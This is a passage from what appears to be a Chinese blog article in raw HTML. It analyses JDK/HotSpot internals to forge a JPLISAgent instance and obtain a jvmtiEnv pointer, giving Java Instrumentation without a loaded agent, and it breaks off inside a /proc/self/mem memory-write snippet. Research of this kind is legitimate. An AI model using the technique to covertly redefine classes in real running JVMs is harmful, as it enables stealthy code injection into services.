class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        redefineClasses0(mNativeAgent, definitions);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">native</span> <span class="code-snippet__keyword">void</span></span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">redefineClasses0</span><span class="code-snippet__params">(<span class="code-snippet__keyword">long</span> nativeAgent, ClassDefinition[]  definitions)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">        <span class="code-snippet__keyword">throws</span>  ClassNotFoundException</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>可以看到mNativeAgent变量经由redefineClasses0函数，经JNI方法传递到了native层代码。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__comment">/*</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> * Class:     sun_instrument_InstrumentationImpl</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> * Method:    redefineClasses0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> * Signature: ([Ljava/lang/instrument/ClassDefinition;)V</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> */</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function">JNIEXPORT <span class="code-snippet__keyword">void</span> JNICALL <span class="code-snippet__title">Java_sun_instrument_InstrumentationImpl_redefineClasses0</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">  <span class="code-snippet__params">(JNIEnv * jnienv, jobject implThis, jlong agent, jobjectArray classDefinitions)</span> </span>{</span></code><code><span class="code-snippet_outer">    redefineClasses(jnienv, (JPLISAgent*)(<span class="code-snippet__keyword">intptr_t</span>)agent, classDefinitions);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/*</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> *  Java code must not call this with a null list or a zero-length list.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> */</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer"><span class="code-snippet__title">redefineClasses</span><span class="code-snippet__params">(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions)</span> </span>{</span></code><code><span class="code-snippet_outer">    jvmtiEnv*   jvmtienv                        = jvmti(agent);</span></code><code><span class="code-snippet_outer">    jboolean    errorOccurred                   = JNI_FALSE;</span></code><code><span class="code-snippet_outer">    jclass      classDefClass                   = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer">    jmethodID   getDefinitionClassMethodID      = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer">    jmethodID   getDefinitionClassFileMethodID  = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer">    jvmtiClassDefinition* classDefs             = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer">    jbyteArray* targetFiles                     = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer">    jsize       numDefs                         = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    jplis_assert(classDefinitions != <span class="code-snippet__literal">NULL</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    numDefs = (*jnienv)-&gt;GetArrayLength(jnienv, classDefinitions);</span></code><code><span class="code-snippet_outer">    errorOccurred = checkForThrowable(jnienv);</span></code><code><span class="code-snippet_outer">    jplis_assert(!errorOccurred);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (!errorOccurred) {</span></code><code><span class="code-snippet_outer">        jplis_assert(numDefs &gt; <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">/* get method IDs for methods to call on class definitions */</span></span></code><code><span class="code-snippet_outer">        classDefClass = (*jnienv)-&gt;FindClass(jnienv, <span class="code-snippet__string">&#34;java/lang/instrument/ClassDefinition&#34;</span>);</span></code><code><span class="code-snippet_outer">        errorOccurred = checkForThrowable(jnienv);</span></code><code><span class="code-snippet_outer">        jplis_assert(!errorOccurred);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>可以看到这个agent指针的结构类型为JPLISAgent，它的定义如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> _<span class="code-snippet__title">JPLISAgent</span> {</span></span></code><code><span class="code-snippet_outer">    JavaVM *                mJVM;                   <span class="code-snippet__comment">/* handle to the JVM */</span></span></code><code><span class="code-snippet_outer">    JPLISEnvironment        mNormalEnvironment;     <span class="code-snippet__comment">/* for every thing but retransform stuff */</span></span></code><code><span class="code-snippet_outer">    JPLISEnvironment        mRetransformEnvironment;<span class="code-snippet__comment">/* for retransform stuff only */</span></span></code><code><span class="code-snippet_outer">    jobject                 mInstrumentationImpl;   <span class="code-snippet__comment">/* handle to the Instrumentation instance */</span></span></code><code><span class="code-snippet_outer">    jmethodID               mPremainCaller;         <span class="code-snippet__comment">/* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */</span></span></code><code><span class="code-snippet_outer">    jmethodID               mAgentmainCaller;       <span class="code-snippet__comment">/* method on the InstrumentationImpl for agents loaded via attach mechanism */</span></span></code><code><span class="code-snippet_outer">    jmethodID               mTransform;             <span class="code-snippet__comment">/* method on the InstrumentationImpl that does the class file transform */</span></span></code><code><span class="code-snippet_outer">    jboolean                mRedefineAvailable;     <span class="code-snippet__comment">/* cached answer to &#34;does this agent support redefine&#34; */</span></span></code><code><span class="code-snippet_outer">    jboolean                mRedefineAdded;         <span class="code-snippet__comment">/* indicates if can_redefine_classes capability has been added */</span></span></code><code><span class="code-snippet_outer">    jboolean                mNativeMethodPrefixAvailable; <span class="code-snippet__comment">/* cached answer to &#34;does this agent support prefixing&#34; */</span></span></code><code><span class="code-snippet_outer">    jboolean                mNativeMethodPrefixAdded;     <span class="code-snippet__comment">/* indicates if can_set_native_method_prefix capability has been added */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">char</span> <span class="code-snippet__keyword">const</span> *            mAgentClassName;        <span class="code-snippet__comment">/* agent class name */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">char</span> <span class="code-snippet__keyword">const</span> *            mOptionsString;         <span class="code-snippet__comment">/* -javaagent options string */</span></span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> _<span class="code-snippet__title">JPLISEnvironment</span> {</span></span></code><code><span class="code-snippet_outer">    jvmtiEnv *              mJVMTIEnv;              <span class="code-snippet__comment">/* the JVM TI environment */</span></span></code><code><span class="code-snippet_outer">    JPLISAgent *            mAgent;                 <span class="code-snippet__comment">/* corresponding agent */</span></span></code><code><span class="code-snippet_outer">    jboolean                mIsRetransformer;       <span class="code-snippet__comment">/* indicates if special environment */</span></span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>redefineClasses的第一行代码是jvmtiEnv*   jvmtienv                        = jvmti(agent)， 这个jvmti是个宏：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><span class="code-snippet__comment">#define jvmti(a) a-&gt;mNormalEnvironment.mJVMTIEnv</span></span></code></pre></section><p>在Java SE 5以前，就支持通过C/C++语言实现JVMTI agent，Java Instrumentation API的底层就是通过这种方式实现的。开发agent时，需要包含位于JDK include目录下的jvmti.h，这里面定义了使用JVMTI所用到的函数、事件、数据类型和常量，最后agent会被编译成一个动态库。JVMTI的函数调用与JNI相似，可以通过一个接口指针来访问JVMTI的函数。JVMTI的接口指针称为环境指针(environment pointer)，环境指针是指向执行环境的指针，其类型为jvmtiEnv*。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">jvmtiEnv</span> <span class="code-snippet__string">*jvmti;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">...</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">jvmtiError err </span>=<span class="code-snippet__string"> (*jvmti)-&gt;GetLoadedClasses(jvmti, &amp;class_count, &amp;classes);</span></span></code></pre></section><p>jvmtiEnv也同样提供了RedefineClasses函数，Java Instrumentation API同样功能就是封装于此之上。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">jvmtiError RedefineClasses(jint class_count,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">const</span> jvmtiClassDefinition* class_definitions) {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span><span class="code-snippet__title">s</span>-&gt;<span class="code-snippet__title">RedefineClasses</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">this</span>, class_count, class_definitions</span>)</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>那么问题进一步的变为：怎样得到jvmtiEnv指针。</p><h2><span style="font-size: 24px;"><strong>JPLISAgent实例是如何创建的？</strong></span></h2><p>继续查看Hotspot代码</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__comment">/*</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> *  Creates a new JPLISAgent.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> *  Returns error if the agent cannot be created and initialized.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> *  The JPLISAgent* pointed to by agent_ptr is set to the new broker,</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> *  or NULL if an error has occurred.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> */</span></span></code><code><span class="code-snippet_outer">JPLISInitializationError</span></code><code><span class="code-snippet_outer">createNewJPLISAgent(JavaVM * vm, JPLISAgent **agent_ptr) {</span></code><code><span class="code-snippet_outer">    JPLISInitializationError initerror       = JPLIS_INIT_ERROR_NONE;</span></code><code><span class="code-snippet_outer">    jvmtiEnv *               jvmtienv        = <span class="code-snippet__keyword">NULL</span>;</span></code><code><span class="code-snippet_outer">    jint                     jnierror        = JNI_OK;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    *agent_ptr = <span class="code-snippet__keyword">NULL</span>;</span></code><code><span class="code-snippet_outer">    jnierror = (*vm)-&gt;GetEnv(  vm,</span></code><code><span class="code-snippet_outer">                               (void **) &amp;jvmtienv,</span></code><code><span class="code-snippet_outer">                               JVMTI_VERSION_1_1);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> ( jnierror != JNI_OK ) {</span></code><code><span class="code-snippet_outer">        initerror = JPLIS_INIT_ERROR_CANNOT_CREATE_NATIVE_AGENT;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        JPLISAgent * agent = allocateJPLISAgent(jvmtienv);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> ( agent == <span class="code-snippet__keyword">NULL</span> ) {</span></code><code><span class="code-snippet_outer">            initerror = JPLIS_INIT_ERROR_ALLOCATION_FAILURE;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            initerror = initializeJPLISAgent(  agent,</span></code><code><span class="code-snippet_outer">                                               vm,</span></code><code><span class="code-snippet_outer">                                               jvmtienv);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> ( initerror == JPLIS_INIT_ERROR_NONE ) {</span></code><code><span class="code-snippet_outer">                *agent_ptr = agent;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                deallocateJPLISAgent(jvmtienv, agent);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">/* don&#39;t leak envs */</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> ( initerror != JPLIS_INIT_ERROR_NONE ) {</span></code><code><span class="code-snippet_outer">            jvmtiError jvmtierror = (*jvmtienv)-&gt;DisposeEnvironment(jvmtienv);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">/* can be called from any phase */</span></span></code><code><span class="code-snippet_outer">            jplis_assert(jvmtierror == JVMTI_ERROR_NONE);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> initerror;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">JPLISInitializationError</span></code><code><span class="code-snippet_outer">initializeJPLISAgent(   JPLISAgent *    agent,</span></code><code><span class="code-snippet_outer">                        JavaVM *        vm,</span></code><code><span class="code-snippet_outer">                        jvmtiEnv *      jvmtienv) {</span></code><code><span class="code-snippet_outer">    jvmtiError      jvmtierror = JVMTI_ERROR_NONE;</span></code><code><span class="code-snippet_outer">    jvmtiPhase      phase;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    agent-&gt;mJVM                                      = vm;</span></code><code><span class="code-snippet_outer">    agent-&gt;mNormalEnvironment.mJVMTIEnv              = jvmtienv;</span></code><code><span class="code-snippet_outer">    agent-&gt;mNormalEnvironment.mAgent                 = agent;</span></code><code><span class="code-snippet_outer">    agent-&gt;mNormalEnvironment.mIsRetransformer       = JNI_FALSE;</span></code><code><span class="code-snippet_outer">    agent-&gt;mRetransformEnvironment.mJVMTIEnv         = <span class="code-snippet__keyword">NULL</span>;        <span class="code-snippet__comment">/* NULL until needed */</span></span></code><code><span class="code-snippet_outer">    agent-&gt;mRetransformEnvironment.mAgent            = agent;</span></code><code><span class="code-snippet_outer">    agent-&gt;mRetransformEnvironment.mIsRetransformer  = JNI_FALSE;   <span class="code-snippet__comment">/* JNI_FALSE until mJVMTIEnv is set */</span></span></code><code><span class="code-snippet_outer">    agent-&gt;mAgentmainCaller                          = <span class="code-snippet__keyword">NULL</span>;</span></code><code><span class="code-snippet_outer">    agent-&gt;mInstrumentationImpl                      = <span class="code-snippet__keyword">NULL</span>;</span></code><code><span class="code-snippet_outer">    agent-&gt;mPremainCaller                            = <span class="code-snippet__keyword">NULL</span>;</span></code><code><span class="code-snippet_outer">    agent-&gt;mTransform                                = <span class="code-snippet__keyword">NULL</span>;</span></code><code><span class="code-snippet_outer">    agent-&gt;mRedefineAvailable                        = JNI_FALSE;   <span class="code-snippet__comment">/* assume no for now */</span></span></code><code><span class="code-snippet_outer">    agent-&gt;mRedefineAdded                            = JNI_FALSE;</span></code><code><span class="code-snippet_outer">    agent-&gt;mNativeMethodPrefixAvailable              = JNI_FALSE;   <span class="code-snippet__comment">/* assume no for now */</span></span></code><code><span class="code-snippet_outer">    agent-&gt;mNativeMethodPrefixAdded                  = JNI_FALSE;</span></code><code><span class="code-snippet_outer">    agent-&gt;mAgentClassName                           = <span class="code-snippet__keyword">NULL</span>;</span></code><code><span class="code-snippet_outer">    agent-&gt;mOptionsString                            = <span class="code-snippet__keyword">NULL</span>;</span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>agent实例是通过native函数createNewJPLISAgent创建的，该函数是内部函数，没有从动态库中导出，Java层也没办法直接调用。那么思路还得回到jvmtiEnv指针上去。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">*agent_ptr = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer">    jnierror = (*vm)-&gt;GetEnv(  vm,</span></code><code><span class="code-snippet_outer">                               (<span class="code-snippet__keyword">void</span> **) &amp;jvmtienv,</span></code><code><span class="code-snippet_outer">                               JVMTI_VERSION_1_1);</span></code></pre></section><p>从以上代码我们可知，jvmtiEnv可以通过JavaVM对象获得。而关于JavaVM对象，在JDK的jni.h中，有定义导出方法:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">_<span class="code-snippet__function">JNI_IMPORT_OR_EXPORT_ jint JNICALL <span class="code-snippet__title">JNI_GetCreatedJavaVMs</span>(<span class="code-snippet__params">JavaVM **, jsize, jsize *</span>)</span>;</span></code></pre></section><p>该方法由libjvm.so中导出，即使so经过strip，符号也一定是存在的。因此我们可以通过此API获得JavaVM对象，通过JavaVM对象就能获得jvmtiEnv指针。</p><h2><span style="font-size: 24px;"><strong>伪造JPLISAgent实例</strong></span></h2><p>JPLISAgent结构中虽然有很多成员，但分析Instrumentation对象中我们需要使用的redefineClasses等方法的native实现</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">InstrumentationImpl</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">Instrumentation</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">native</span> <span class="code-snippet__keyword">void</span></span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">redefineClasses0</span><span class="code-snippet__params">(<span class="code-snippet__keyword">long</span> nativeAgent, ClassDefinition[]  definitions)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">        <span class="code-snippet__keyword">throws</span>  ClassNotFoundException</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@SuppressWarnings</span>(<span class="code-snippet__string">&#34;rawtypes&#34;</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">native</span> Class[]</span></code><code><span class="code-snippet_outer">    getAllLoadedClasses0(<span class="code-snippet__keyword">long</span> nativeAgent);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>它们都只是从agent中获取jvmtiEnv指针，之后都没有再使用agent的其他成员</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">jobjectArray</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">commonGetClassList(</span> <span class="code-snippet__string">JNIEnv *            jnienv,</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__attr">JPLISAgent</span> <span class="code-snippet__string">*        agent,</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__attr">jobject</span>             <span class="code-snippet__string">classLoader,</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__attr">ClassListFetcher</span>    <span class="code-snippet__string">fetcher) {</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">jvmtiEnv</span> <span class="code-snippet__string">*      jvmtienv        = jvmti(agent);</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">...</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">void</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">redefineClasses(JNIEnv</span> <span class="code-snippet__string">* jnienv, JPLISAgent * agent, jobjectArray classDefinitions) {</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">jvmtiEnv*</span>   <span class="code-snippet__string">jvmtienv                        = jvmti(agent);</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">...</span></span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>那么我们只需要使用unsafe方法，申请一段内存，并在对应的偏移上放置jvmtiEnv指针值，就完成了JPLISAgent实例的构造。关键问题还是要解决获取jvmtiEnv指针。</p><h2><span style="font-size: 24px;"><strong>如何在Java层调用native接口？</strong></span></h2><p>获取jvmtienv指针，可以采用暴力搜索内存的方式，但是这种方法很难做到通用。jvmtienv实例中有固定不变的4字节魔术字0x71EE，this指针就是jvmtiEnv指针。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__comment">//JVMTI_MAGIC    = 0x71EE,</span></span></code><code><span class="code-snippet_outer">bool __fastcall JvmtiEnvBase::is_valid(JvmtiEnvBase *<span class="code-snippet__keyword">this</span>)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> *((_DWORD *)<span class="code-snippet__keyword">this</span> + <span class="code-snippet__number">2</span>) == <span class="code-snippet__number">0x71EE</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>稳定的办法就是上文分析的，通过JavaVM对象来获取。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">JavaVM_</span> {</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">const</span> <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">JNIInvokeInterface_</span> *<span class="code-snippet__title">functions</span>;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">ifdef</span> __cplusplus</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function">jint <span class="code-snippet__title">DestroyJavaVM</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> functions-&gt;DestroyJavaVM(<span class="code-snippet__keyword">this</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function">jint <span class="code-snippet__title">AttachCurrentThread</span><span class="code-snippet__params">(<span class="code-snippet__keyword">void</span> **penv, <span class="code-snippet__keyword">void</span> *args)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> functions-&gt;AttachCurrentThread(<span class="code-snippet__keyword">this</span>, penv, args);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function">jint <span class="code-snippet__title">DetachCurrentThread</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> functions-&gt;DetachCurrentThread(<span class="code-snippet__keyword">this</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function">jint <span class="code-snippet__title">GetEnv</span><span class="code-snippet__params">(<span class="code-snippet__keyword">void</span> **penv, jint version)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> functions-&gt;GetEnv(<span class="code-snippet__keyword">this</span>, penv, version);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function">jint <span class="code-snippet__title">AttachCurrentThreadAsDaemon</span><span class="code-snippet__params">(<span class="code-snippet__keyword">void</span> **penv, <span class="code-snippet__keyword">void</span> *args)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> functions-&gt;AttachCurrentThreadAsDaemon(<span class="code-snippet__keyword">this</span>, penv, args);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">endif</span></span></span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>JavaVM对象其实也只是一个函数指针数组，不存在固定不变的魔术字。如果要通过JNI_GetCreatedJavaVMs方法获得，在Java层怎么调用它呢？<br/>Java层想要调用native方法，常规做法是通过JNI，这种办法仍然需要提供一个so文件，然后通过dlopen的方式加载，这显然与本文初衷不符。不通过JNI能不能做到？至少在Linux是能做到的。<br/> 参考如下代码</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;fstream&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;iostream&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/mman.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">/* Write @len bytes at @ptr to @addr in this address space using</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> * /proc/self/mem.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> */</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">memwrite</span><span class="code-snippet__params">(<span class="code-snippet__keyword">void</span> *addr, <span class="code-snippet__keyword">char</span> *ptr, <span class="code-snippet__keyword">size_t</span> len)</span> </span>{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">std</span>::<span class="code-snippet__function">ofstream <span class="code-snippet__title">ff</span><span class="code-snippet__params">(<span class="code-snippet__string">&#34;/proc/self/mem&#34;</span>)</span></span>;</span></code><code><span class="code-snippet_outer">  ff.seekp(<span class="code-snippet__keyword">reinterpret_cast</span>&lt;<span class="code-snippet__keyword">size_t</span>&gt;(addr));</span></code><code><span class="code-snippet_outer">  ff.write(ptr, len);</span></code><code><span class="code-snippet_outer">  ff.flush();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">int</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> argc, <span 